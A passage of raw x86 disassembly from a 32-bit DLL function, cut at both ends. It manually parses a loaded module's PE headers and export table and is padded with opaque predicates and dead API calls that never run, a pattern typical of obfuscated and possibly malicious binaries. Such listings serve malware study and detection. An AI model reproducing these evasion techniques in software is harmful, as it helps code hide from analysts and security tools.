jmp 0x1001b290
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x1e4], 0x7adf
jge 0x1001b2a8
mov dword [ebp - 0x62c], 1
jmp 0x1001b2af
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x62c], 0
jg 0x1001b2c4
mov dword [ebp - 0x634], 1
jmp 0x1001b2cb
and dword [ebp - 0x634], 0
cmp dword [ebp - 0x634], 0x5d0d
jg 0x1001b2e3
mov dword [ebp - 0x63c], 1
jmp 0x1001b2ea
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x3e8], eax
jl 0x1001b310
mov dword [ebp - 0x64c], 1
jmp 0x1001b317
and dword [ebp - 0x64c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x644]
cmp eax, dword [ebp - 0x64c]
je 0x1001b33a
cmp dword [ebp - 0x3e8], 0
jne 0x1001b33a
and dword [ebp - 0x654], 0
jmp 0x1001b344
mov dword [ebp - 0x654], 1
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x654], eax
jge 0x1001b35e
mov dword [ebp - 0x65c], 1
jmp 0x1001b365
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x664], eax
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0x29c], 0
je 0x1001d506
mov eax, dword [ebp - 0x29c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001d506
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x29c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x20c], ecx
mov eax, dword [ebp - 0x20c]
cmp dword [eax], 0x4550
jne 0x1001d506
mov eax, dword [ebp - 0x20c]
cmp dword [eax + 0x74], 0
jbe 0x1001d506
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20c]
cmp dword [ecx + eax + 0x78], 0
je 0x1001d506
mov dword [ebp - 0xd58], 0x3556
mov dword [ebp - 0xa24], 0x155c
cmp dword [ebp - 0xa24], 0x539
mov byte [ebp - 0xf2], 0
movzx eax, byte [ebp - 0xf2]
test eax, eax
je 0x1001b427
push 0xcd6
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov byte [ebp - 0xf3], 0
movzx eax, byte [ebp - 0xf3]
test eax, eax
je 0x1001b44b
push 0x478
push 0x820
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0xbcc], 0x96dd1e1e
mov dword [ebp - 0xbc8], 0x96dd1e1e
mov dword [ebp - 0xbc4], 0x96dd1e1e
mov dword [ebp - 0xbc0], 0x96dd1e1e
lea ecx, [ebp - 0x3c1]
call fcn.10021871
push eax
lea eax, [ebp - 0xbbc]
push eax
lea eax, [ebp - 0xbcc]
push eax
lea ecx, [ebp - 0x100c]
call fcn.10021874
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x268]
call fcn.100217c1
mov dword [ebp - 4], 0x23
mov dword [ebp - 0xae4], 0x1ee8
cmp dword [ebp - 0xae4], 0x12aa
jge 0x1001b750
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x3f0]
push eax
push 0x100079dc
call fcn.10055bab
add esp, 0xc
push dword [ebp - 0x3f0]
lea ecx, [ebp - 0x450]
call fcn.1002196b
mov byte [ebp - 4], 0x24
and dword [ebp - 0x2a4], 0
jmp 0x1001b518
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp - 0x2a4]
cmp eax, dword [ebp - 0x3f0]
jge 0x1001b546
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
push 0x1000769c
call fcn.10055bab
pop ecx
pop ecx
jmp 0x1001b50b
lea ecx, [ebp - 0x8c0]
call fcn.10021a7c
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x3dc]
call fcn.10021b21
mov byte [ebp - 4], 0x26
and dword [ebp - 0x34], 0
jmp 0x1001b571
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3f0]
jge 0x1001b723
push dword [ebp - 0x34]
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x8c0]
call fcn.10021a91
mov dword [ebp - 0x66c], eax
mov eax, dword [ebp - 0x66c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x66c]
mov dword [ecx], eax
push dword [ebp - 0x34]
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x8c0]
call fcn.10021a91
cmp dword [eax], 1
jne 0x1001b5f3
push dword [ebp - 0x34]
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10021b36
jmp 0x1001b60d
push dword [ebp - 0x34]
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10021b76
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1a8]
jl 0x1001b6c5
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1a8]
push eax
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x8c0]
call fcn.10021a91
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x674]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x674]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1a8]
push eax
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x8c0]
call fcn.10021a91
cmp dword [eax], 1
jne 0x1001b6a4
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1a8]
push eax
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea eax, [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10021b36
jmp 0x1001b6c5
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x1a8]
push eax
lea ecx, [ebp - 0x450]
call fcn.1002185c
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10021b76
mov eax, dword [ebp - 0x1a8]
dec eax
cmp dword [ebp - 0x34], eax
jl 0x1001b71e
lea ecx, [ebp - 0x3dc]
call fcn.1002194d
movzx eax, al
test eax, eax
je 0x1001b6f0
push 0x100079e4
call fcn.10055f96
pop ecx
jmp 0x1001b71e
lea eax, [ebp - 0xe68]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.1002193f
mov ecx, eax
call fcn.10021c10
mov ecx, eax
call fcn.10021c0a
push dword [eax]
push 0x100079ec
call fcn.10055ddf
pop ecx
pop ecx
jmp 0x1001b56a
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x3dc]
call fcn.10021b54
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x8c0]
call fcn.10021af8
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x450]
call fcn.100217e7
mov dword [ebp - 0xa2c], 0xfffe
push 1
lea ecx, [ebp - 0xb48]
call fcn.10021765
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x9c], 0
jmp 0x1001b78e
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1001b7aa
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xa4], 5
jmp 0x1001b781
mov dword [ebp - 0x9c], 0
jmp 0x1001b7c3
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1001b7e5
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xb48]
call fcn.1002185c
mov dword [eax], 0xa117216
jmp 0x1001b7b6
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
and dword [eax], 0
jmp 0x1001b81b
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x67c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x67c]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
cmp dword [eax], 0
jg 0x1001ba79
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa4]
mov dword [ebp - 0xd60], eax
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
cmp dword [eax], 0xc63c4078
jb 0x1001b86e
mov dword [ebp - 0x69c], 1
jmp 0x1001b875
and dword [ebp - 0x69c], 0
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
cmp dword [eax], 0xbbd4856c
jne 0x1001b896
mov dword [ebp - 0x684], 1
jmp 0x1001b89d
and dword [ebp - 0x684], 0
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa4]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0xf1c], eax
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xa4], 0xb2e809b4
jae 0x1001b8ee
mov dword [ebp - 0x68c], 1
jmp 0x1001b8f5
and dword [ebp - 0x68c], 0
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov ecx, dword [ebp - 0x68c]
sub ecx, dword [eax]
jne 0x1001b91e
cmp dword [ebp - 0xa2c], 0
jne 0x1001b91e
and dword [ebp - 0x694], 0
jmp 0x1001b928
mov dword [ebp - 0x694], 1
cmp dword [ebp - 0x694], 0xfffffffa
ja 0x1001b93d
mov dword [ebp - 0xa94], 1
jmp 0x1001b944
and dword [ebp - 0xa94], 0
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa4]
mov dword [ebp - 0xd68], eax
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa4]
mov dword [ebp - 0xe78], eax
mov eax, 0xe3d4
sub eax, 0xffff
mov dword [ebp - 0x6a4], eax
push 0
lea ecx, [ebp - 0xb48]
call fcn.1002185c
mov ecx, dword [ebp - 0x6a4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x69c]
cmp eax, dword [ebp - 0x6a4]
jne 0x1001b9bb
mov dword [ebp - 0x6ac], 1
jmp 0x1001b9c2
and dword [ebp - 0x6ac], 0
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa4]
imul eax, dword [ebp - 0x6ac]
test eax, eax
je 0x1001ba01
push 0
lea ecx, [ebp - 0xb48]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001ba01
mov dword [ebp - 0x6b4], 1
jmp 0x1001ba08
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 0xc214
jg 0x1001ba20
mov dword [ebp - 0xa34], 1
jmp 0x1001ba27
and dword [ebp - 0xa34], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0xf63eeda7
ja 0x1001ba46
mov dword [ebp - 0x6bc], 1
jmp 0x1001ba4d
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x1b0], eax
push 3
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x1001ba74
jmp 0x1001ba79
jmp 0x1001b7f7
mov dword [ebp - 0x1b0], 0
jmp 0x1001ba92
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jge 0x1001bab4
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0x268]
call fcn.1002185c
mov dword [eax], 9
jmp 0x1001ba85
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xb48]
call fcn.100217e7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x268]
call fcn.100217e7
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x188]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xf0], edx
mov eax, 0xffff
mov word [ebp - 0x74], ax
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x2ac], 0xfffffff6
mov dword [ebp - 0x6ec], 0xfff8
mov dword [ebp - 0xd70], 0x3e3f36a5
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x38]
jne 0x1001bb3a
mov dword [ebp - 0x6c4], 1
jmp 0x1001bb41
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x6c4]
jne 0x1001bb58
mov dword [ebp - 0xaec], 1
jmp 0x1001bb5f
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xee4], eax
cmp dword [ebp - 0x38], 0
jl 0x1001bb7a
mov dword [ebp - 0x6cc], 1
jmp 0x1001bb81
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x6cc], eax
jg 0x1001bb98
mov dword [ebp - 0x6d4], 1
jmp 0x1001bb9f
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0x3ec], eax
jg 0x1001bbc5
mov dword [ebp - 0x6dc], 1
jmp 0x1001bbcc
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x6dc]
jl 0x1001bbe3
mov dword [ebp - 0x6e4], 1
jmp 0x1001bbea
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x6ec], eax
je 0x1001bc0d
mov dword [ebp - 0xa3c], 1
jmp 0x1001bc14
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0x38], 0
jne 0x1001bc2c
cmp dword [ebp - 0x3ec], 0
jne 0x1001bc2c
and dword [ebp - 0x6f4], 0
jmp 0x1001bc36
mov dword [ebp - 0x6f4], 1
mov eax, dword [ebp - 0x6f4]
sub eax, dword [ebp - 0x2ac]
cmp eax, 0xd0811fc8
jb 0x1001bc55
mov dword [ebp - 0x6fc], 1
jmp 0x1001bc5c
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x6fc], eax
jl 0x1001bc73
mov dword [ebp - 0x704], 1
jmp 0x1001bc7a
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0xdfb1af9d
jae 0x1001bc92
mov dword [ebp - 0x70c], 1
jmp 0x1001bc99
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x70c], eax
jne 0x1001bcb6
cmp dword [ebp - 0x2ac], 0
jne 0x1001bcb6
and dword [ebp - 0x714], 0
jmp 0x1001bcc0
mov dword [ebp - 0x714], 1
cmp dword [ebp - 0x714], 1
je 0x1001bcd5
mov dword [ebp - 0x71c], 1
jmp 0x1001bcdc
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001bd0c
push 0x14c
push 0x16d7
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
or dword [ebp - 0x1c0], 0xffffffff
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xbb8], 0xffff
mov dword [ebp - 0xbb4], 0xffff
mov dword [ebp - 0xbb0], 0xffff
mov dword [ebp - 0xbac], 0xffff
lea ecx, [ebp - 0x3f5]
call fcn.10021871
push eax
lea eax, [ebp - 0xba8]
push eax
lea eax, [ebp - 0xbb8]
push eax
lea ecx, [ebp - 0xfbc]
call fcn.10021874
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x954]
call fcn.100217c1
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0xac], 0
je 0x1001be72
mov dword [ebp - 0x2b4], 0
jmp 0x1001bda7
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x1001bdc3
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0xa9c], 0xfffffffa
jmp 0x1001bd9a
mov dword [ebp - 0xac], 0
jmp 0x1001bddc
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jl 0x1001be70
mov dword [ebp - 0x1ec], 0x9ef72d4e
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x1001be36
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x6fb
push 0x2229
push 0x1323
push 0x2243
push 0x11ad
call dword [sym.imp.GDI32.dll_CreateFontA]
mov dword [ebp - 0x1ec], 0
jmp 0x1001be4f
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x1001be6b
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0xa9c], 0x801fc3ee
jmp 0x1001be42
jmp 0x1001bdcf
jmp 0x1001be86
mov dword [ebp - 0xa44], 0x1ac48889
mov dword [ebp - 0xa44], 0xfffffffc
mov dword [ebp - 0xac], 0xfffffff3
jmp 0x1001be9f
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xe
jg 0x1001c00a
mov dword [ebp - 0xb4], 0xd26ec17e
mov dword [ebp - 0xaf4], 1
cmp dword [ebp - 0xb4], 0
je 0x1001bece
jmp 0x1001c00a
mov dword [ebp - 0xb4], 0
jmp 0x1001bee7
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jg 0x1001c005
mov dword [ebp - 0x724], 0xfffffffd
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x954]
call fcn.1002185c
cmp dword [eax], 0
jne 0x1001bff4
mov dword [ebp - 0x724], 0
cmp dword [ebp - 0x724], 0
jne 0x1001bf3d
mov eax, 0xf39c
test eax, eax
jne 0x1001bf3d
and dword [ebp - 0x72c], 0
jmp 0x1001bf47
mov dword [ebp - 0x72c], 1
push 2
lea ecx, [ebp - 0x954]
call fcn.1002185c
mov ecx, dword [ebp - 0x72c]
cmp ecx, dword [eax]
jne 0x1001bf70
push 3
lea ecx, [ebp - 0x954]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001bf92
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x954]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001bf92
mov dword [ebp - 0x734], 1
jmp 0x1001bf99
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 1
jne 0x1001bfae
mov dword [ebp - 0x73c], 1
jmp 0x1001bfb5
and dword [ebp - 0x73c], 0
push 0
lea ecx, [ebp - 0x954]
call fcn.1002185c
mov esi, eax
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x954]
call fcn.1002185c
mov ecx, dword [esi]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x73c]
jl 0x1001bfed
mov dword [ebp - 0x744], 1
jmp 0x1001bff4
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xaf4], eax
jmp 0x1001beda
jmp 0x1001be92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x954]
call fcn.100217e7
cmp dword [ebp + 0x10], 0
jbe 0x1001c4db
mov dword [ebp - 0xf10], 0xee327439
mov dword [ebp - 0xf0c], 0xee327439
mov dword [ebp - 0xf08], 0xee327439
mov dword [ebp - 0xf04], 0xee327439
mov dword [ebp - 0xbc], 0
jmp 0x1001c064
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x1001c080
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1fc], 0
jmp 0x1001c057
mov dword [ebp - 0xbc], 0
jmp 0x1001c099
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x1001c0b5
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xc4c], 1
jmp 0x1001c08c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1fc], 0
jmp 0x1001c0e3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1fc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1fc], 0x10
jle 0x1001c128
mov dword [ebp - 0xa4c], 0
mov dword [ebp - 0xa4c], 0xffffffff
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1001c126
push 0
push 0x1727
call dword [sym.imp.USER32.dll_ClientToScreen]
jmp 0x1001c0c8
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc4c], 0x12
jmp 0x1001c153
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc4c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xc4c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc4c], 0xfffffff9
jle 0x1001c1a3
mov dword [ebp - 0x1f4], 2
mov dword [ebp - 0x1f4], 0
jmp 0x1001c185
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 1
jge 0x1001c1a1
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x1fc], 0xfffffff9
jmp 0x1001c178
jmp 0x1001c13a
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001c4d6
push 1
lea ecx, [ebp - 0x3a0]
call fcn.10021765
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x76c], 6
mov dword [ebp - 0x2bc], 7
mov dword [ebp - 0x784], 0xf67ab6ce
mov dword [ebp - 0x3f4], 0xca3c47a
mov dword [ebp - 0x438], 0xa9e1a0e1
mov dword [ebp - 0xaf0], 0x26243a5d
mov dword [ebp - 0xc4], 0
jmp 0x1001c21e
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 1
jge 0x1001c240
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
mov dword [eax], 0xfffffffb
jmp 0x1001c211
mov dword [ebp - 0xc4], 0
jmp 0x1001c259
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jge 0x1001c275
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0xf74], 0xc512dc6d
jmp 0x1001c24c
xor eax, eax
inc eax
je 0x1001c450
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001c3b1
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001c2b3
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001c2e3
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001c2e3
mov dword [ebp - 0x74c], 1
jmp 0x1001c2ea
and dword [ebp - 0x74c], 0
cmp dword [ebp - 0x74c], 0xc29478c9
jbe 0x1001c302
mov dword [ebp - 0x754], 1
jmp 0x1001c309
and dword [ebp - 0x754], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
mov ecx, dword [ebp - 0x754]
cmp ecx, dword [eax]
jle 0x1001c32c
mov dword [ebp - 0x75c], 1
jmp 0x1001c333
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 0xb060
jg 0x1001c34b
mov dword [ebp - 0x764], 1
jmp 0x1001c352
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
jne 0x1001c379
mov eax, 0x67f5aee0
test eax, eax
jne 0x1001c379
and dword [ebp - 0xaa4], 0
jmp 0x1001c383
mov dword [ebp - 0xaa4], 1
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
cmp dword [eax], 0x5734cb44
jl 0x1001c3b1
mov dword [ebp - 0x774], 1
jmp 0x1001c3b8
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 0x185a
jle 0x1001c3d0
mov dword [ebp - 0x77c], 1
jmp 0x1001c3d7
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0xa54], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa54]
mov dword [ebp + eax - 0xf74], ecx
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0xd78], eax
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
mov dword [ebp - 0x3f4], 0xcd953295
cmp dword [ebp - 0x3f4], 0
je 0x1001c450
cmp dword [ebp - 0x784], 0
je 0x1001c450
mov dword [ebp - 0x78c], 1
jmp 0x1001c457
and dword [ebp - 0x78c], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.1002185c
mov ecx, dword [ebp - 0x78c]
imul ecx, dword [eax]
mov dword [ebp - 0x438], ecx
mov eax, dword [ebp - 0xaf0]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x3f4]
cmp dword [ebp - 0x2bc], eax
jne 0x1001c4a5
mov dword [ebp - 0x794], 1
jmp 0x1001c4ac
and dword [ebp - 0x794], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x794]
mov dword [ebp + eax - 0xf74], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a0]
call fcn.100217e7
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x74], ax
jmp 0x1001cb0d
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x7ec], 0xfffffff9
mov dword [ebp - 0xe8], 0x6085e071
mov dword [ebp - 0x988], 0xa1818855
mov dword [ebp - 0x2c4], 0
jmp 0x1001c519
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x1001c535
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0x184], 0xfffffffc
jmp 0x1001c50c
cmp dword [ebp - 0x28], 0
jne 0x1001c54a
cmp dword [ebp - 0x28], 0
jne 0x1001c54a
and dword [ebp - 0x79c], 0
jmp 0x1001c554
mov dword [ebp - 0x79c], 1
mov eax, dword [ebp - 0x79c]
add eax, 0x3358
cmp eax, dword [ebp - 0x28]
jg 0x1001c570
mov dword [ebp - 0x7a4], 1
jmp 0x1001c577
and dword [ebp - 0x7a4], 0
cmp dword [ebp - 0x7a4], 0xeb9ae77a
ja 0x1001c58f
mov dword [ebp - 0x7ac], 1
jmp 0x1001c596
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x7ac], eax
jge 0x1001c5ad
mov dword [ebp - 0x7b4], 1
jmp 0x1001c5b4
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x7b4], eax
je 0x1001c5cb
mov dword [ebp - 0x7bc], 1
jmp 0x1001c5d2
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x7bc]
jl 0x1001c5e9
mov dword [ebp - 0x7c4], 1
jmp 0x1001c5f0
and dword [ebp - 0x7c4], 0
imul eax, dword [ebp - 0x7c4], 0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x1001c694
mov dword [ebp - 0xe88], 0xffffffff
mov dword [ebp - 0xd80], 5
mov dword [ebp - 0xe9c], 0xfffffff6
mov dword [ebp - 0xd88], 0xffffffff
mov dword [ebp - 0x7cc], 0x12894ff5
mov dword [ebp - 0x2cc], 0
jmp 0x1001c64f
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 2
jge 0x1001c66b
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0xfe4], 0xfff839e0
jmp 0x1001c642
mov eax, dword [ebp - 0x7cc]
dec eax
mov dword [ebp - 0x7cc], eax
mov byte [ebp - 0xfb], 0
movzx eax, byte [ebp - 0xfb]
test eax, eax
je 0x1001c692
push 0
